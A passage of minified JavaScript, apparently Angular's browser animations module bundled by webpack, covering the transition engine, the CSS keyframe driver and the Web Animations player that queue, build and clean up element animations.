e[t]}),this._elementListeners.forEach((e,n)=>{this._elementListeners.set(n,e.filter(e=>e.name!=t))})}clearElementCache(t){this._engine.statesByElement.delete(t),this._elementListeners.delete(t);const e=this._engine.playersByElement.get(t);e&&(e.forEach(t=>t.destroy()),this._engine.playersByElement.delete(t))}_signalRemovalForInnerTriggers(t,e){const n=this._engine.driver.query(t,R,!0);n.forEach(t=>{if(t[jt])return;const n=this._engine.fetchNamespacesByElement(t);n.size?n.forEach(n=>n.triggerLeaveAnimation(t,e,!1,!0)):this.clearElementCache(t)}),this._engine.afterFlushAnimationsDone(()=>n.forEach(t=>this.clearElementCache(t)))}triggerLeaveAnimation(t,e,n,i){const s=this._engine.statesByElement.get(t);if(s){const r=[];if(Object.keys(s).forEach(e=>{if(this._triggers[e]){const n=this.trigger(t,e,Vt,i);n&&r.push(n)}}),r.length)return this._engine.markElementAsRemoved(this.id,t,!0,e),n&&c(r).onDone(()=>this._engine.processLeaveNode(t)),!0}return!1}prepareLeaveAnimationListeners(t){const e=this._elementListeners.get(t),n=this._engine.statesByElement.get(t);if(e&&n){const i=new Set;e.forEach(e=>{const s=e.name;if(i.has(s))return;i.add(s);const r=this._triggers[s].fallbackTransition,o=n[s]||Gt,a=new Ht(Vt),c=new $t(this.id,s,t);this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:s,transition:r,fromState:o,toState:a,player:c,isFallbackTransition:!0})})}}removeNode(t,e){const n=this._engine;if(t.childElementCount&&this._signalRemovalForInnerTriggers(t,e),this.triggerLeaveAnimation(t,e,!0))return;let i=!1;if(n.totalAnimations){const e=n.players.length?n.playersByQueriedElement.get(t):[];if(e&&e.length)i=!0;else{let e=t;for(;e=e.parentNode;)if(n.statesByElement.get(e)){i=!0;break}}}if(this.prepareLeaveAnimationListeners(t),i)n.markElementAsRemoved(this.id,t,!1,e);else{const i=t[jt];(!i||i===Ut)&&(n.afterFlush(()=>this.clearElementCache(t)),n.destroyInnerAnimations(t),n._onRemovalComplete(t,e))}}insertNode(t,e){Kt(t,this._hostClassName)}drainQueuedTransitions(t){const e=[];return this._queue.forEach(n=>{const i=n.player;if(i.destroyed)return;const s=n.element,r=this._elementListeners.get(s);r&&r.forEach(e=>{if(e.name==n.triggerName){const i=d(s,n.triggerName,n.fromState.value,n.toState.value);i._data=t,u(n.player,e.phase,i,e.callback)}}),i.markedForDestroy?this._engine.afterFlush(()=>{i.destroy()}):e.push(n)}),this._queue=[],e.sort((t,e)=>{const n=t.transition.ast.depCount,i=e.transition.ast.depCount;return 0==n||0==i?n-i:this._engine.driver.containsElement(t.element,e.element)?1:-1})}destroy(t){this.players.forEach(t=>t.destroy()),this._signalRemovalForInnerTriggers(this.hostElement,t)}elementContainsData(t){let e=!1;return this._elementListeners.has(t)&&(e=!0),e=!!this._queue.find(e=>e.element===t)||e,e}}class qt{constructor(t,e,n){this.bodyNode=t,this.driver=e,this._normalizer=n,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=(t,e)=>{}}_onRemovalComplete(t,e){this.onRemovalComplete(t,e)}get queuedPlayers(){const t=[];return this._namespaceList.forEach(e=>{e.players.forEach(e=>{e.queued&&t.push(e)})}),t}createNamespace(t,e){const n=new Yt(t,e,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,e)?this._balanceNamespaceList(n,e):(this.newHostElements.set(e,n),this.collectEnterElement(e)),this._namespaceLookup[t]=n}_balanceNamespaceList(t,e){const n=this._namespaceList.length-1;if(n>=0){let i=!1;for(let s=n;s>=0;s--)if(this.driver.containsElement(this._namespaceList[s].hostElement,e)){this._namespaceList.splice(s+1,0,t),i=!0;break}i||this._namespaceList.splice(0,0,t)}else this._namespaceList.push(t);return this.namespacesByHostElement.set(e,t),t}register(t,e){let n=this._namespaceLookup[t];return n||(n=this.createNamespace(t,e)),n}registerTrigger(t,e,n){let i=this._namespaceLookup[t];i&&i.register(e,n)&&this.totalAnimations++}destroy(t,e){if(!t)return;const n=this._fetchNamespace(t);this.afterFlush(()=>{this.namespacesByHostElement.delete(n.hostElement),delete this._namespaceLookup[t];const e=this._namespaceList.indexOf(n);e>=0&&this._namespaceList.splice(e,1)}),this.afterFlushAnimationsDone(()=>n.destroy(e))}_fetchNamespace(t){return this._namespaceLookup[t]}fetchNamespacesByElement(t){const e=new Set,n=this.statesByElement.get(t);if(n){const t=Object.keys(n);for(let i=0;i<t.length;i++){const s=n[t[i]].namespaceId;if(s){const t=this._fetchNamespace(s);t&&e.add(t)}}}return e}trigger(t,e,n,i){if(zt(e)){const s=this._fetchNamespace(t);if(s)return s.trigger(e,n,i),!0}return!1}insertNode(t,e,n,i){if(!zt(e))return;const s=e[jt];if(s&&s.setForRemoval){s.setForRemoval=!1,s.setForMove=!0;const t=this.collectedLeaveElements.indexOf(e);t>=0&&this.collectedLeaveElements.splice(t,1)}if(t){const i=this._fetchNamespace(t);i&&i.insertNode(e,n)}i&&this.collectEnterElement(e)}collectEnterElement(t){this.collectedEnterElements.push(t)}markElementAsDisabled(t,e){e?this.disabledNodes.has(t)||(this.disabledNodes.add(t),Kt(t,Lt)):this.disabledNodes.has(t)&&(this.disabledNodes.delete(t),Xt(t,Lt))}removeNode(t,e,n,i){if(zt(e)){const s=t?this._fetchNamespace(t):null;if(s?s.removeNode(e,i):this.markElementAsRemoved(t,e,!1,i),n){const n=this.namespacesByHostElement.get(e);n&&n.id!==t&&n.removeNode(e,i)}}else this._onRemovalComplete(e,i)}markElementAsRemoved(t,e,n,i){this.collectedLeaveElements.push(e),e[jt]={namespaceId:t,setForRemoval:i,hasAnimation:n,removedBeforeQueried:!1}}listen(t,e,n,i,s){return zt(e)?this._fetchNamespace(t).listen(e,n,i,s):()=>{}}_buildInstruction(t,e,n,i,s){return t.transition.build(this.driver,t.element,t.fromState.value,t.toState.value,n,i,t.fromState.options,t.toState.options,e,s)}destroyInnerAnimations(t){let e=this.driver.query(t,R,!0);e.forEach(t=>this.destroyActiveAnimationsForElement(t)),0!=this.playersByQueriedElement.size&&(e=this.driver.query(t,N,!0),e.forEach(t=>this.finishActiveQueriedAnimationOnElement(t)))}destroyActiveAnimationsForElement(t){const e=this.playersByElement.get(t);e&&e.forEach(t=>{t.queued?t.markedForDestroy=!0:t.destroy()})}finishActiveQueriedAnimationOnElement(t){const e=this.playersByQueriedElement.get(t);e&&e.forEach(t=>t.finish())}whenRenderingDone(){return new Promise(t=>{if(this.players.length)return c(this.players).onDone(()=>t());t()})}processLeaveNode(t){const e=t[jt];if(e&&e.setForRemoval){if(t[jt]=Ut,e.namespaceId){this.destroyInnerAnimations(t);const n=this._fetchNamespace(e.namespaceId);n&&n.clearElementCache(t)}this._onRemovalComplete(t,e.setForRemoval)}this.driver.matchesElement(t,Mt)&&this.markElementAsDisabled(t,!1),this.driver.query(t,Mt,!0).forEach(t=>{this.markElementAsDisabled(t,!1)})}flush(t=-1){let e=[];if(this.newHostElements.size&&(this.newHostElements.forEach((t,e)=>this._balanceNamespaceList(t,e)),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(let n=0;n<this.collectedEnterElements.length;n++)Kt(this.collectedEnterElements[n],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){const n=[];try{e=this._flushAnimations(n,t)}finally{for(let t=0;t<n.length;t++)n[t]()}}else for(let n=0;n<this.collectedLeaveElements.length;n++)this.processLeaveNode(this.collectedLeaveElements[n]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(t=>t()),this._flushFns=[],this._whenQuietFns.length){const t=this._whenQuietFns;this._whenQuietFns=[],e.length?c(e).onDone(()=>{t.forEach(t=>t())}):t.forEach(t=>t())}}reportError(t){throw new Error(`Unable to process animations due to the following failed trigger transitions\n ${t.join("\n")}`)}_flushAnimations(t,e){const n=new pt,i=[],s=new Map,o=[],a=new Map,l=new Map,u=new Map,h=new Set;this.disabledNodes.forEach(t=>{h.add(t);const e=this.driver.query(t,".ng-animate-queued",!0);for(let n=0;n<e.length;n++)h.add(e[n])});const d=this.bodyNode,f=Array.from(this.statesByElement.keys()),m=Jt(f,this.collectedEnterElements),g=new Map;let _=0;m.forEach((t,e)=>{const n=A+_++;g.set(e,n),t.forEach(t=>Kt(t,n))});const v=[],b=new Set,y=new Set;for(let r=0;r<this.collectedLeaveElements.length;r++){const t=this.collectedLeaveElements[r],e=t[jt];e&&e.setForRemoval&&(v.push(t),b.add(t),e.hasAnimation?this.driver.query(t,".ng-star-inserted",!0).forEach(t=>b.add(t)):y.add(t))}const w=new Map,x=Jt(f,Array.from(b));x.forEach((t,e)=>{const n=I+_++;w.set(e,n),t.forEach(t=>Kt(t,n))}),t.push(()=>{m.forEach((t,e)=>{const n=g.get(e);t.forEach(t=>Xt(t,n))}),x.forEach((t,e)=>{const n=w.get(e);t.forEach(t=>Xt(t,n))}),v.forEach(t=>{this.processLeaveNode(t)})});const C=[],S=[];for(let r=this._namespaceList.length-1;r>=0;r--)this._namespaceList[r].drainQueuedTransitions(e).forEach(t=>{const e=t.player,s=t.element;if(C.push(e),this.collectedEnterElements.length){const t=s[jt];if(t&&t.setForMove)return void e.destroy()}const r=!d||!this.driver.containsElement(d,s),c=w.get(s),h=g.get(s),f=this._buildInstruction(t,n,h,c,r);if(f.errors&&f.errors.length)S.push(f);else{if(r)return e.onStart(()=>V(s,f.fromStyles)),e.onDestroy(()=>H(s,f.toStyles)),void i.push(e);if(t.isFallbackTransition)return e.onStart(()=>V(s,f.fromStyles)),e.onDestroy(()=>H(s,f.toStyles)),void i.push(e);f.timelines.forEach(t=>t.stretchStartingKeyframe=!0),n.append(s,f.timelines),o.push({instruction:f,player:e,element:s}),f.queriedElements.forEach(t=>p(a,t,[]).push(e)),f.preStyleProps.forEach((t,e)=>{const n=Object.keys(t);if(n.length){let t=l.get(e);t||l.set(e,t=new Set),n.forEach(e=>t.add(e))}}),f.postStyleProps.forEach((t,e)=>{const n=Object.keys(t);let i=u.get(e);i||u.set(e,i=new Set),n.forEach(t=>i.add(t))})}});if(S.length){const t=[];S.forEach(e=>{t.push(`@${e.triggerName} has failed due to:\n`),e.errors.forEach(e=>t.push(`- ${e}\n`))}),C.forEach(t=>t.destroy()),this.reportError(t)}const E=new Map,k=new Map;o.forEach(t=>{const e=t.element;n.has(e)&&(k.set(e,e),this._beforeAnimationBuild(t.player.namespaceId,t.instruction,E))}),i.forEach(t=>{const e=t.element;this._getPreviousPlayers(e,!1,t.namespaceId,t.triggerName,null).forEach(t=>{p(E,e,[]).push(t),t.destroy()})});const T=v.filter(t=>ne(t,l,u)),O=new Map;Wt(O,this.driver,y,u,r.l3).forEach(t=>{ne(t,l,u)&&T.push(t)});const R=new Map;m.forEach((t,e)=>{Wt(R,this.driver,new Set(t),l,r.k1)}),T.forEach(t=>{const e=O.get(t),n=R.get(t);O.set(t,Object.assign(Object.assign({},e),n))});const P=[],D=[],L={};o.forEach(t=>{const{element:e,player:r,instruction:o}=t;if(n.has(e)){if(h.has(e))return r.onDestroy(()=>H(e,o.toStyles)),r.disabled=!0,r.overrideTotalTime(o.totalTime),void i.push(r);let t=L;if(k.size>1){let n=e;const i=[];for(;n=n.parentNode;){const e=k.get(n);if(e){t=e;break}i.push(n)}i.forEach(e=>k.set(e,t))}const n=this._buildAnimation(r.namespaceId,o,E,s,R,O);if(r.setRealPlayer(n),t===L)P.push(r);else{const e=this.playersByElement.get(t);e&&e.length&&(r.parentPlayer=c(e)),i.push(r)}}else V(e,o.fromStyles),r.onDestroy(()=>H(e,o.toStyles)),D.push(r),h.has(e)&&i.push(r)}),D.forEach(t=>{const e=s.get(t.element);if(e&&e.length){const n=c(e);t.setRealPlayer(n)}}),i.forEach(t=>{t.parentPlayer?t.syncPlayerEvents(t.parentPlayer):t.destroy()});for(let r=0;r<v.length;r++){const t=v[r],e=t[jt];if(Xt(t,I),e&&e.hasAnimation)continue;let n=[];if(a.size){let e=a.get(t);e&&e.length&&n.push(...e);let i=this.driver.query(t,N,!0);for(let t=0;t<i.length;t++){let e=a.get(i[t]);e&&e.length&&n.push(...e)}}const i=n.filter(t=>!t.destroyed);i.length?te(this,t,i):this.processLeaveNode(t)}return v.length=0,P.forEach(t=>{this.players.push(t),t.onDone(()=>{t.destroy();const e=this.players.indexOf(t);this.players.splice(e,1)}),t.play()}),P}elementContainsData(t,e){let n=!1;const i=e[jt];return i&&i.setForRemoval&&(n=!0),this.playersByElement.has(e)&&(n=!0),this.playersByQueriedElement.has(e)&&(n=!0),this.statesByElement.has(e)&&(n=!0),this._fetchNamespace(t).elementContainsData(e)||n}afterFlush(t){this._flushFns.push(t)}afterFlushAnimationsDone(t){this._whenQuietFns.push(t)}_getPreviousPlayers(t,e,n,i,s){let r=[];if(e){const e=this.playersByQueriedElement.get(t);e&&(r=e)}else{const e=this.playersByElement.get(t);if(e){const t=!s||s==Vt;e.forEach(e=>{e.queued||!t&&e.triggerName!=i||r.push(e)})}}return(n||i)&&(r=r.filter(t=>!(n&&n!=t.namespaceId||i&&i!=t.triggerName))),r}_beforeAnimationBuild(t,e,n){const i=e.element,s=e.isRemovalTransition?void 0:t,r=e.isRemovalTransition?void 0:e.triggerName;for(const o of e.timelines){const t=o.element,a=t!==i,c=p(n,t,[]);this._getPreviousPlayers(t,a,s,r,e.toState).forEach(t=>{const e=t.getRealPlayer();e.beforeDestroy&&e.beforeDestroy(),t.destroy(),c.push(t)})}V(i,e.fromStyles)}_buildAnimation(t,e,n,i,s,o){const a=e.triggerName,u=e.element,h=[],d=new Set,f=new Set,m=e.timelines.map(e=>{const c=e.element;d.add(c);const p=c[jt];if(p&&p.removedBeforeQueried)return new r.ZN(e.duration,e.delay);const m=c!==u,g=function(t){const e=[];return ee(t,e),e}((n.get(c)||Ft).map(t=>t.getRealPlayer())).filter(t=>!!t.element&&t.element===c),_=s.get(c),v=o.get(c),b=l(0,this._normalizer,0,e.keyframes,_,v),y=this._buildPlayer(e,b,g);if(e.subTimeline&&i&&f.add(c),m){const e=new $t(t,a,c);e.setRealPlayer(y),h.push(e)}return y});h.forEach(t=>{p(this.playersByQueriedElement,t.element,[]).push(t),t.onDone(()=>function(t,e,n){let i;if(t instanceof Map){if(i=t.get(e),i){if(i.length){const t=i.indexOf(n);i.splice(t,1)}0==i.length&&t.delete(e)}}else if(i=t[e],i){if(i.length){const t=i.indexOf(n);i.splice(t,1)}0==i.length&&delete t[e]}return i}(this.playersByQueriedElement,t.element,t))}),d.forEach(t=>Kt(t,P));const g=c(m);return g.onDestroy(()=>{d.forEach(t=>Xt(t,P)),H(u,e.toStyles)}),f.forEach(t=>{p(i,t,[]).push(g)}),g}_buildPlayer(t,e,n){return e.length>0?this.driver.animate(t.element,e,t.duration,t.delay,t.easing,n):new r.ZN(t.duration,t.delay)}}class $t{constructor(t,e,n){this.namespaceId=t,this.triggerName=e,this.element=n,this._player=new r.ZN,this._containsRealPlayer=!1,this._queuedCallbacks={},this.destroyed=!1,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}setRealPlayer(t){this._containsRealPlayer||(this._player=t,Object.keys(this._queuedCallbacks).forEach(e=>{this._queuedCallbacks[e].forEach(n=>u(t,e,void 0,n))}),this._queuedCallbacks={},this._containsRealPlayer=!0,this.overrideTotalTime(t.totalTime),this.queued=!1)}getRealPlayer(){return this._player}overrideTotalTime(t){this.totalTime=t}syncPlayerEvents(t){const e=this._player;e.triggerCallback&&t.onStart(()=>e.triggerCallback("start")),t.onDone(()=>this.finish()),t.onDestroy(()=>this.destroy())}_queueEvent(t,e){p(this._queuedCallbacks,t,[]).push(e)}onDone(t){this.queued&&this._queueEvent("done",t),this._player.onDone(t)}onStart(t){this.queued&&this._queueEvent("start",t),this._player.onStart(t)}onDestroy(t){this.queued&&this._queueEvent("destroy",t),this._player.onDestroy(t)}init(){this._player.init()}hasStarted(){return!this.queued&&this._player.hasStarted()}play(){!this.queued&&this._player.play()}pause(){!this.queued&&this._player.pause()}restart(){!this.queued&&this._player.restart()}finish(){this._player.finish()}destroy(){this.destroyed=!0,this._player.destroy()}reset(){!this.queued&&this._player.reset()}setPosition(t){this.queued||this._player.setPosition(t)}getPosition(){return this.queued?0:this._player.getPosition()}triggerCallback(t){const e=this._player;e.triggerCallback&&e.triggerCallback(t)}}function zt(t){return t&&1===t.nodeType}function Zt(t,e){const n=t.style.display;return t.style.display=null!=e?e:"none",n}function Wt(t,e,n,i,s){const r=[];n.forEach(t=>r.push(Zt(t)));const o=[];i.forEach((n,i)=>{const r={};n.forEach(t=>{const n=r[t]=e.computeStyle(i,t,s);(!n||0==n.length)&&(i[jt]=Bt,o.push(i))}),t.set(i,r)});let a=0;return n.forEach(t=>Zt(t,r[a++])),o}function Jt(t,e){const n=new Map;if(t.forEach(t=>n.set(t,[])),0==e.length)return n;const i=new Set(e),s=new Map;function r(t){if(!t)return 1;let e=s.get(t);if(e)return e;const o=t.parentNode;return e=n.has(o)?o:i.has(o)?1:r(o),s.set(t,e),e}return e.forEach(t=>{const e=r(t);1!==e&&n.get(e).push(t)}),n}const Qt="$$classes";function Kt(t,e){if(t.classList)t.classList.add(e);else{let n=t[Qt];n||(n=t[Qt]={}),n[e]=!0}}function Xt(t,e){if(t.classList)t.classList.remove(e);else{let n=t[Qt];n&&delete n[e]}}function te(t,e,n){c(n).onDone(()=>t.processLeaveNode(e))}function ee(t,e){for(let n=0;n<t.length;n++){const i=t[n];i instanceof r.ZE?ee(i.players,e):e.push(i)}}function ne(t,e,n){const i=n.get(t);if(!i)return!1;let s=e.get(t);return s?i.forEach(t=>s.add(t)):e.set(t,i),n.delete(t),!0}class ie{constructor(t,e,n){this.bodyNode=t,this._driver=e,this._normalizer=n,this._triggerCache={},this.onRemovalComplete=(t,e)=>{},this._transitionEngine=new qt(t,e,n),this._timelineEngine=new Nt(t,e,n),this._transitionEngine.onRemovalComplete=(t,e)=>this.onRemovalComplete(t,e)}registerTrigger(t,e,n,i,s){const r=t+"-"+i;let o=this._triggerCache[r];if(!o){const t=[],e=ot(this._driver,s,t);if(t.length)throw new Error(`The animation trigger "${i}" has failed to build due to the following errors:\n - ${t.join("\n - ")}`);o=function(t,e,n){return new Ot(t,e,n)}(i,e,this._normalizer),this._triggerCache[r]=o}this._transitionEngine.registerTrigger(e,i,o)}register(t,e){this._transitionEngine.register(t,e)}destroy(t,e){this._transitionEngine.destroy(t,e)}onInsert(t,e,n,i){this._transitionEngine.insertNode(t,e,n,i)}onRemove(t,e,n,i){this._transitionEngine.removeNode(t,e,i||!1,n)}disableAnimations(t,e){this._transitionEngine.markElementAsDisabled(t,e)}process(t,e,n,i){if("@"==n.charAt(0)){const[t,s]=f(n);this._timelineEngine.command(t,e,s,i)}else this._transitionEngine.trigger(t,e,n,i)}listen(t,e,n,i,s){if("@"==n.charAt(0)){const[t,i]=f(n);return this._timelineEngine.listen(t,e,i,s)}return this._transitionEngine.listen(t,e,n,i,s)}flush(t=-1){this._transitionEngine.flush(t)}get players(){return this._transitionEngine.players.concat(this._timelineEngine.players)}whenRenderingDone(){return this._transitionEngine.whenRenderingDone()}}function se(t,e){let n=null,i=null;return Array.isArray(e)&&e.length?(n=oe(e[0]),e.length>1&&(i=oe(e[e.length-1]))):e&&(n=oe(e)),n||i?new re(t,n,i):null}let re=(()=>{class t{constructor(e,n,i){this._element=e,this._startStyles=n,this._endStyles=i,this._state=0;let s=t.initialStylesByElement.get(e);s||t.initialStylesByElement.set(e,s={}),this._initialStyles=s}start(){this._state<1&&(this._startStyles&&H(this._element,this._startStyles,this._initialStyles),this._state=1)}finish(){this.start(),this._state<2&&(H(this._element,this._initialStyles),this._endStyles&&(H(this._element,this._endStyles),this._endStyles=null),this._state=1)}destroy(){this.finish(),this._state<3&&(t.initialStylesByElement.delete(this._element),this._startStyles&&(V(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(V(this._element,this._endStyles),this._endStyles=null),H(this._element,this._initialStyles),this._state=3)}}return t.initialStylesByElement=new WeakMap,t})();function oe(t){let e=null;const n=Object.keys(t);for(let i=0;i<n.length;i++){const s=n[i];ae(s)&&(e=e||{},e[s]=t[s])}return e}function ae(t){return"display"===t||"position"===t}const ce="animation",le="animationend";class ue{constructor(t,e,n,i,s,r,o){this._element=t,this._name=e,this._duration=n,this._delay=i,this._easing=s,this._fillMode=r,this._onDoneFn=o,this._finished=!1,this._destroyed=!1,this._startTime=0,this._position=0,this._eventFn=t=>this._handleCallback(t)}apply(){(function(t,e){const n=ge(t,"").trim();let i=0;n.length&&(function(t,e){let n=0;for(let i=0;i<t.length;i++)","===t.charAt(i)&&n++;return n}(n)+1,e=`${n}, ${e}`),me(t,"",e)})(this._element,`${this._duration}ms ${this._easing} ${this._delay}ms 1 normal ${this._fillMode} ${this._name}`),fe(this._element,this._eventFn,!1),this._startTime=Date.now()}pause(){he(this._element,this._name,"paused")}resume(){he(this._element,this._name,"running")}setPosition(t){const e=de(this._element,this._name);this._position=t*this._duration,me(this._element,"Delay",`-${this._position}ms`,e)}getPosition(){return this._position}_handleCallback(t){const e=t._ngTestManualTimestamp||Date.now(),n=1e3*parseFloat(t.elapsedTime.toFixed(3));t.animationName==this._name&&Math.max(e-this._startTime,0)>=this._delay&&n>=this._duration&&this.finish()}finish(){this._finished||(this._finished=!0,this._onDoneFn(),fe(this._element,this._eventFn,!0))}destroy(){this._destroyed||(this._destroyed=!0,this.finish(),function(t,e){const n=ge(t,"").split(","),i=pe(n,e);i>=0&&(n.splice(i,1),me(t,"",n.join(",")))}(this._element,this._name))}}function he(t,e,n){me(t,"PlayState",n,de(t,e))}function de(t,e){const n=ge(t,"");return n.indexOf(",")>0?pe(n.split(","),e):pe([n],e)}function pe(t,e){for(let n=0;n<t.length;n++)if(t[n].indexOf(e)>=0)return n;return-1}function fe(t,e,n){n?t.removeEventListener(le,e):t.addEventListener(le,e)}function me(t,e,n,i){const s=ce+e;if(null!=i){const e=t.style[s];if(e.length){const t=e.split(",");t[i]=n,n=t.join(",")}}t.style[s]=n}function ge(t,e){return t.style[ce+e]||""}class _e{constructor(t,e,n,i,s,r,o,a){this.element=t,this.keyframes=e,this.animationName=n,this._duration=i,this._delay=s,this._finalStyles=o,this._specialStyles=a,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this.currentSnapshot={},this._state=0,this.easing=r||"linear",this.totalTime=i+s,this._buildStyler()}onStart(t){this._onStartFns.push(t)}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}destroy(){this.init(),!(this._state>=4)&&(this._state=4,this._styler.destroy(),this._flushStartFns(),this._flushDoneFns(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}_flushDoneFns(){this._onDoneFns.forEach(t=>t()),this._onDoneFns=[]}_flushStartFns(){this._onStartFns.forEach(t=>t()),this._onStartFns=[]}finish(){this.init(),!(this._state>=3)&&(this._state=3,this._styler.finish(),this._flushStartFns(),this._specialStyles&&this._specialStyles.finish(),this._flushDoneFns())}setPosition(t){this._styler.setPosition(t)}getPosition(){return this._styler.getPosition()}hasStarted(){return this._state>=2}init(){this._state>=1||(this._state=1,this._styler.apply(),this._delay&&this._styler.pause())}play(){this.init(),this.hasStarted()||(this._flushStartFns(),this._state=2,this._specialStyles&&this._specialStyles.start()),this._styler.resume()}pause(){this.init(),this._styler.pause()}restart(){this.reset(),this.play()}reset(){this._state=0,this._styler.destroy(),this._buildStyler(),this._styler.apply()}_buildStyler(){this._styler=new ue(this.element,this.animationName,this._duration,this._delay,this.easing,"forwards",()=>this.finish())}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}beforeDestroy(){this.init();const t={};if(this.hasStarted()){const e=this._state>=3;Object.keys(this._finalStyles).forEach(n=>{"offset"!=n&&(t[n]=e?this._finalStyles[n]:tt(this.element,n))})}this.currentSnapshot=t}}class ve extends r.ZN{constructor(t,e){super(),this.element=t,this._startingStyles={},this.__initialized=!1,this._styles=E(e)}init(){this.__initialized||!this._startingStyles||(this.__initialized=!0,Object.keys(this._styles).forEach(t=>{this._startingStyles[t]=this.element.style[t]}),super.init())}play(){!this._startingStyles||(this.init(),Object.keys(this._styles).forEach(t=>this.element.style.setProperty(t,this._styles[t])),super.play())}destroy(){!this._startingStyles||(Object.keys(this._startingStyles).forEach(t=>{const e=this._startingStyles[t];e?this.element.style.setProperty(t,e):this.element.style.removeProperty(t)}),this._startingStyles=null,super.destroy())}}class be{constructor(){this._count=0}validateStyleProperty(t){return w(t)}matchesElement(t,e){return x(t,e)}containsElement(t,e){return C(t,e)}query(t,e,n){return S(t,e,n)}computeStyle(t,e,n){return window.getComputedStyle(t)[e]}buildKeyframeElement(t,e,n){n=n.map(t=>E(t));let i=`@keyframes ${e} {\n`,s="";n.forEach(t=>{s=" ";const e=parseFloat(t.offset);i+=`${s}${100*e}% {\n`,s+=" ",Object.keys(t).forEach(e=>{const n=t[e];switch(e){case"offset":return;case"easing":return void(n&&(i+=`${s}animation-timing-function: ${n};\n`));default:return void(i+=`${s}${e}: ${n};\n`)}}),i+=`${s}}\n`}),i+="}\n";const r=document.createElement("style");return r.textContent=i,r}animate(t,e,n,i,s,r=[],o){const a=r.filter(t=>t instanceof _e),c={};Q(n,i)&&a.forEach(t=>{let e=t.currentSnapshot;Object.keys(e).forEach(t=>c[t]=e[t])});const l=function(t){let e={};return t&&(Array.isArray(t)?t:[t]).forEach(t=>{Object.keys(t).forEach(n=>{"offset"==n||"easing"==n||(e[n]=t[n])})}),e}(e=K(t,e,c));if(0==n)return new ve(t,l);const u="gen_css_kf_"+this._count++,h=this.buildKeyframeElement(t,u,e);(function(t){var e;const n=null===(e=t.getRootNode)||void 0===e?void 0:e.call(t);return"undefined"!=typeof ShadowRoot&&n instanceof ShadowRoot?n:document.head})(t).appendChild(h);const d=se(t,e),p=new _e(t,e,u,n,i,s,l,d);return p.onDestroy(()=>{var t;(t=h).parentNode.removeChild(t)}),p}}class ye{constructor(t,e,n,i){this.element=t,this.keyframes=e,this.options=n,this._specialStyles=i,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this.time=0,this.parentPlayer=null,this.currentSnapshot={},this._duration=n.duration,this._delay=n.delay||0,this.time=this._duration+this._delay}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}init(){this._buildPlayer(),this._preparePlayerBeforeStart()}_buildPlayer(){if(this._initialized)return;this._initialized=!0;const t=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,t,this.options),this._finalKeyframe=t.length?t[t.length-1]:{},this.domPlayer.addEventListener("finish",()=>this._onFinish())}_preparePlayerBeforeStart(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}_triggerWebAnimation(t,e,n){return t.animate(e,n)}onStart(t){this._onStartFns.push(t)}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}play(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(t=>t()),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}pause(){this.init(),this.domPlayer.pause()}finish(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}reset(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1}_resetDomPlayerState(){this.domPlayer&&this.domPlayer.cancel()}restart(){this.reset(),this.play()}hasStarted(){return this._started}destroy(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}setPosition(t){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=t*this.time}getPosition(){return this.domPlayer.currentTime/this.time}get totalTime(){return this._delay+this._duration}beforeDestroy(){const t={};this.hasStarted()&&Object.keys(this._finalKeyframe).forEach(e=>{"offset"!=e&&(t[e]=this._finished?this._finalKeyframe[e]:tt(this.element,e))}),this.currentSnapshot=t}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}}class we{constructor(){this._isNativeImpl=/\{\s*\[native\s+code\]\s*\}/.test(xe().toString()),this._cssKeyframesDriver=new be}validateStyleProperty(t){return w(t)}matchesElement(t,e){return x(t,e)}containsElement(t,e){return C(t,e)}query(t,e,n){return S(t,e,n)}computeStyle(t,e,n){return window.getComputedStyle(t)[e]}overrideWebAnimationsSupport(t){this._isNativeImpl=t}animate(t,e,n,i,s,r=[],o){if(!o&&!this._isNativeImpl)return this._cssKeyframesDriver.animate(t,e,n,i,s,r);const a={duration:n,delay:i,fill:0==i?"both":"forwards"};s&&(a.easing=s);const c={},l=r.filter(t=>t instanceof ye);Q(n,i)&&l.forEach(t=>{let e=t.currentSnapshot;Object.keys(e).forEach(t=>c[t]=e[t])});const u=se(t,e=K(t,e=e.map(t=>U(t,!1)),c));return new ye(t,e,a,u)}}function xe(){return o()&&Element.prototype.animate||{}}var Ce=n(54364);let Se=(()=>{class t extends r._j{constructor(t,e){super(),this._nextAnimationId=0,this._renderer=t.createRenderer(e.body,{id:"0",encapsulation:i.ifc.None,styles:[],data:{animation:[]}})}build(t){const 